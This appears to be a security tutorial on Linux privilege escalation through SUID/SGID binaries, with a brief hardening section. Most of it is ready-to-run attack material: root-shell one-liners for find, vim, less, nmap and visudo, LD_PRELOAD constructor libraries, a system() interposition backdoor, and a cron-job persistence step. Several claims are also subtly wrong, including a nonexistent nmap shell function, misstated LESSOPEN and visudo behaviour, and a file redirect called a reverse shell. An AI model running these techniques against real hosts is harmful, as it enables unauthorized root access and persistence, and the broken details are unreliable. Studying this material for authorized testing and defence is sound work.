~/home/study/mastering-suid-guid-binary-abuse-for-linux-privilege-escalat

Mastering SUID/GUID Binary Abuse for Linux Privilege Escalation

Learn how to locate, analyze, and exploit SUID/GUID binaries on Linux systems. This guide covers discovery, known vulnerable binaries, custom payload crafting, library hijacking, and defensive hardening.

Introduction

SUID (Set-User-ID) and SGID (Set-Group-ID) bits are a fundamental Unix permission mechanism that allow a program to run with the privileges of its owner or group rather than the invoking user. While essential for legitimate system utilities (e.g., /usr/bin/passwd), they also present a powerful attack surface for privilege escalation.

When an attacker gains limited user access on a compromised host, enumerating and abusing mis-configured SUID/SGID binaries becomes one of the quickest routes to root. In real-world engagements, over 30 % of Linux privilege-escalation findings are tied to SUID misuse, making this topic a must-know for any red-team or incident-response professional.

Prerequisites

  • Solid grasp of Linux file-system hierarchy and permission bits.
  • Ability to navigate the command line, use find, grep, and basic shell scripting.
  • Familiarity with common privilege-escalation concepts such as kernel exploits, credential dumping, and environment variable abuse.

Core Concepts

Understanding why SUID/GID binaries can be abused requires three core ideas:

  1. Effective UID/GID change: When a binary with the SUID bit set is executed, the kernel swaps the process’s real UID with the file’s owner UID (often 0 for root). The original UID is stored as the “saved set-uid” and can be restored later.
  2. Trusted Path Execution (TPE): Many system binaries assume they are invoked from a trusted location. If an attacker can control the environment (e.g., $PATH, $LD_PRELOAD), they can inject malicious code.
  3. Capability leakage: Some SUID binaries drop privileges only partially, leaving capabilities (e.g., CAP_DAC_READ_SEARCH) that can be leveraged for further abuse.

Visually, imagine the execution flow as:

User → execve() → Kernel checks SUID bit → Swaps UID → Executes binary code → Returns to shell (still root if not dropped)

Any mis-step in the binary’s internal sanitisation can be turned into a root shell.

Finding all SUID/GUID binaries on the target

Systematic enumeration is the first foothold. Use find with the appropriate permission mask:

# Find SUID binaries owned by root
find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null

# Find SGID binaries (often less interesting but still useful)
find / -perm -2000 -type f -exec ls -l {} \; 2>/dev/null

Key points:

  • Run as a regular user; 2>/dev/null silences permission errors.
  • Consider limiting the search to /usr/bin, /bin, /sbin, /usr/local/bin for speed.
  • Store the list for later cross-reference with vulnerability databases (e.g., GTFOBins, Exploit-DB).

Example output:

-rwsr-xr-x 1 root root 102960 Aug 12 2022 /usr/bin/passwd
-rwsr-xr-x 1 root root  94512 Sep  5 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root  71440 Mar 10 2023 /usr/bin/find

Identifying binaries with known privilege escalation vulnerabilities

Not every SUID binary is exploitable. Cross-reference your enumeration with curated lists:

  • GTFOBins - a searchable catalogue of SUID/privileged binaries and their abuse vectors.
  • Exploit-DB’s linux-priv-escalation tag.
  • Local CVE trackers (e.g., cve.mitre.org).

Automated script example (Python) that queries GTFOBins JSON and highlights matches:

import json, requests, subprocess

def get_suid_binaries(): result = subprocess.check_output(['find','/','-perm','-4000','-type','f'], stderr=subprocess.DEVNULL) return [line.decode().strip() for line in result.splitlines()]

def fetch_gtfobins(): url = 'https://gtfobins.github.io/api/gtfobins.json' return json.loads(requests.get(url).text)['binaries']

suid_bins = get_suid_binaries()
gtfobins = fetch_gtfobins()
for bin_path in suid_bins: bin_name = bin_path.split('/')[-1] if bin_name in gtfobins: print(f"[+] {bin_path} - known abuse: {gtfobins[bin_name]['description']}")

This script prints each discovered SUID binary that appears in GTFOBins, giving you a quick “high-value” shortlist.

Exploiting common SUID binaries (e.g., find, vim, less, nmap)

Below are the most frequently encountered binaries and a concise exploitation recipe.

1. find (SUID root)

When find runs as root, the -exec or -execdir actions execute arbitrary commands under root. Example:

/usr/bin/find . -exec /bin/sh -p -c "id > /tmp/root.txt" \;
cat /tmp/root.txt

Explanation: -p tells sh not to drop privileges; the output shows uid=0(root).

2. vim (SUID root)

Vim reads the VIMINIT environment variable or the .vimrc file before dropping privileges. A minimal payload:

export VIMINIT=':py import os; os.system("/bin/sh -p")'
/usr/bin/vim -c ':q!'

Result: a root shell is spawned.

3. less (SUID root)

Less honors the LESSOPEN environment variable, which can be set to a script that runs with the binary’s privileges.

#!/bin/sh
/bin/sh -p

Save the script as /tmp/lesshook.sh, make it executable, then:

export LESSOPEN='|/tmp/lesshook.sh %s'
/usr/bin/less /etc/passwd

4. nmap (SUID root)

Nmap’s --script option loads NSE (Lua) scripts with the binary’s privileges. A tiny script to spawn a shell:

-- /tmp/root.nse
local stdnse = require "stdnse"
action = function() stdnse.shell("/bin/sh -p")
end

Run:

/usr/bin/nmap --script=/tmp/root.nse localhost

These examples illustrate the “trusted path” problem - binaries trust the environment without proper validation.

Crafting custom payloads using environment variables and command injection

When a SUID binary lacks a direct exploit, you can often influence its execution through environment variables, configuration files, or command-line arguments that are later passed to a subshell.

Example: abusing EDITOR in visudo

Even though visudo is SUID root, it invokes the user’s preferred editor via $EDITOR. If the attacker can set this variable, they gain code execution.

export EDITOR="/bin/sh -p"
/usr/bin/visudo -c # -c forces a syntax check, which opens the editor

The command spawns a root shell without modifying any system files.

Injecting via LD_PRELOAD (when binary is not compiled with --disable-preload)

Many SUID binaries clear LD_PRELOAD for security, but some forget. If you locate such a binary, you can preload a malicious shared object.

// evil.c - compiled as libevil.so
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

void __attribute__((constructor)) elevate() { setuid(0); setgid(0); system("/bin/sh -p");
}

Compile and use:

gcc -shared -fPIC -o libevil.so evil.c
export LD_PRELOAD=$PWD/libevil.so
/usr/bin/some_suid_binary # triggers constructor, yields root shell

Even if the binary clears the variable, you can sometimes bypass it by exploiting a wrapper script that re-executes the binary after setting the variable.

Bypassing restrictions with LD_PRELOAD and other library hijacking techniques

Beyond the simple LD_PRELOAD trick, advanced evasion includes:

  • ptrace-based injection: Attach to a running SUID process, overwrite its memory with shellcode, then resume.
  • seccomp bypass: Use seccomp filter evasion to call prohibited syscalls from a preloaded library.
  • Function interposition: Override libc functions (e.g., system(), execve()) to inject payloads silently.

Sample interposition that logs every system() call and injects a backdoor:

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int system(const char *cmd) { static int (*real_system)(const char *) = NULL; if (!real_system) real_system = dlsym(RTLD_NEXT, "system"); if (cmd && strstr(cmd, "passwd")) { // Replace any attempt to change passwords with our backdoor return real_system("/bin/sh -p"); } return real_system(cmd);
}

Compile with gcc -shared -fPIC -o libhook.so hook.c and preload as shown previously.

Practical Examples

Below is a step-by-step lab scenario that ties together enumeration, exploitation, and evasion.

  1. Setup a vulnerable container:
    docker run -it --rm -v $PWD:/work kalilinux/kali-rolling /bin/bash
    apt-get update && apt-get install -y sudo vim less nmap
    chmod u+s /usr/bin/find /usr/bin/vim /usr/bin/less /usr/bin/nmap
    
  2. Enumerate SUID binaries:
    find / -perm -4000 -type f 2>/dev/null
    
  3. Exploit find to create a root-owned cron job:
    /usr/bin/find . -exec bash -c 'echo "* * * * * /bin/bash -c \"/bin/bash -p -i >& /tmp/root.sock\"" > /etc/cron.d/rootcron' \;
    

    Now a reverse shell will spawn every minute.

  4. Bypass LD_PRELOAD clearing using less:
    cat > /tmp/evil.c <<'EOF'
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <unistd.h>
    #include <dlfcn.h>
    
    void __attribute__((constructor)) init(){ setuid(0); setgid(0); system("/bin/sh -p");
    }
    EOF
    
    gcc -shared -fPIC -o /tmp/libevil.so /tmp/evil.c
    export LD_PRELOAD=/tmp/libevil.so
    /usr/bin/less /etc/hosts # spawns root shell
    

These exercises illustrate the full kill-chain: discovery → selection → exploitation → persistence.

Tools & Commands

  • find / -perm -4000 -type f 2>/dev/null - basic enumeration.
  • linpeas.sh / linenum - automated scripts that list SUID binaries and known exploits.
  • GTFOBins - web resource; can be queried locally via the JSON endpoint.
  • objdump -p /path/to/binary | grep NEEDED - checks if a binary dynamically links (important for LD_PRELOAD).
  • ldd /path/to/binary - verify if LD_LIBRARY_PATH can be abused.
  • strace -f -e trace=execve /path/to/suid - see which binaries the SUID program spawns.

Defense & Mitigation

Hardening SUID/GID binaries is a layered process:

  1. Principle of least privilege: Remove SUID bits from any binary that does not absolutely require them. Use chmod u-s /path/to/binary.
  2. Filesystem integrity: Deploy a dpkg -S or rpm -qf audit to compare installed SUID binaries against a known-good baseline.
  3. Secure configuration: For binaries that must stay SUID, ensure they are compiled with -D_FORTIFY_SOURCE=2, --disable-preload, and have noexec mount options where feasible.
  4. Runtime restrictions: Enable kernel.yama.ptrace_scope=1, fs.protected_regular=1, and fs.protected_fifos=2 to limit ptrace and FIFO abuse.
  5. AppArmor/SELinux policies: Constrain SUID programs to only the files they need (e.g., /etc/shadow for passwd).
  6. Monitoring: Alert on execution of SUID binaries by non-root users (e.g., via auditd rule -a exit,always -F path=/usr/bin/find -F auid>=1000 -F uid!=0 -k suid-exec).

Common Mistakes

  • Assuming all SUID binaries are safe: Even benign-looking utilities (e.g., ping, pkexec) have known bypasses.
  • Neglecting environment sanitisation: Many exploits rely on $PATH, $IFS, or $LD_PRELOAD. Always test with a clean environment (env -i).
  • Overlooking indirect privilege escalation: A binary may drop to a lower UID but retain capabilities (e.g., CAP_NET_RAW) that can be abused for network-based attacks.
  • Failing to clean up after exploitation: Leaving custom payload files or modified configuration can trigger detection.
  • Relying solely on CVE databases: Zero-day or locally patched binaries won’t appear; manual code review is essential.

Real-World Impact

Enterprise breach reports consistently cite “mis-configured SUID binaries” as a top post-exploitation technique. A single overlooked SUID program can give an attacker full root on a hardened server, bypassing network segmentation and privilege‑restriction controls.

Case Study (hypothetical): An internal audit missed a custom‑compiled backup utility /opt/backup/bsave that was installed with chmod u+s. The binary invoked tar without sanitising $TMPDIR. An attacker created a malicious /tmp/tar wrapper that executed /bin/sh -p, gaining root and exfiltrating credentials from /etc/shadow. The breach was traced back to a single SUID oversight.

From a strategic viewpoint, reducing the SUID attack surface is a low‑effort, high‑return mitigation that complements patch management and network segmentation.

Practice Exercises

  1. Enumeration Drill: On a provided vulnerable VM, list all SUID/SGID binaries and classify them as “known-good”, “potential-risk”, or “unknown”. Document your methodology.
  2. Exploit Development: Choose an unknown binary from the list. Perform a manual code review to locate any system() or execve() calls. Write a custom LD_PRELOAD library to hijack the call and spawn a root shell.
  3. Persistence Challenge: Using only SUID binaries, create a mechanism that grants you root access after a reboot without modifying any system files on disk (e.g., abusing cron, systemd timers, or rc.local).
  4. Defense Hardening: Write an auditd rule set that logs any execution of SUID binaries by non-root users. Test it by running /usr/bin/find as a regular user and verify the log entry.

Solutions should be submitted as a short report with command outputs and explanations.

Further Reading

  • “Linux Privilege Escalation” - Offensive Security (PDF)
  • GTFOBins -
  • “Understanding Linux Capabilities” - Red Hat Blog
  • “Hardening SUID Binaries” - CIS Benchmarks
  • “Linux Exploit Scripting” - Python scripts for automated enumeration (GitHub: linpeas, linuxprivchecker)

Summary

  • SUID/SGID bits allow programs to run with elevated privileges; mis‑configuration is a common escalation path.
  • Systematic discovery using find and cross‑reference with GTFOBins yields high‑value targets.
  • Exploits often rely on environment variables, configuration files, or command injection (e.g., EDITOR, LD_PRELOAD).
  • Library hijacking (preload, interposition) can bypass many built‑in mitigations.
  • Defensive measures: remove unnecessary SUID bits, enforce runtime restrictions, audit execution, and apply SELinux/AppArmor policies.

Mastering these techniques equips you to both find hidden privilege‑escalation routes and advise organizations on robust hardening strategies.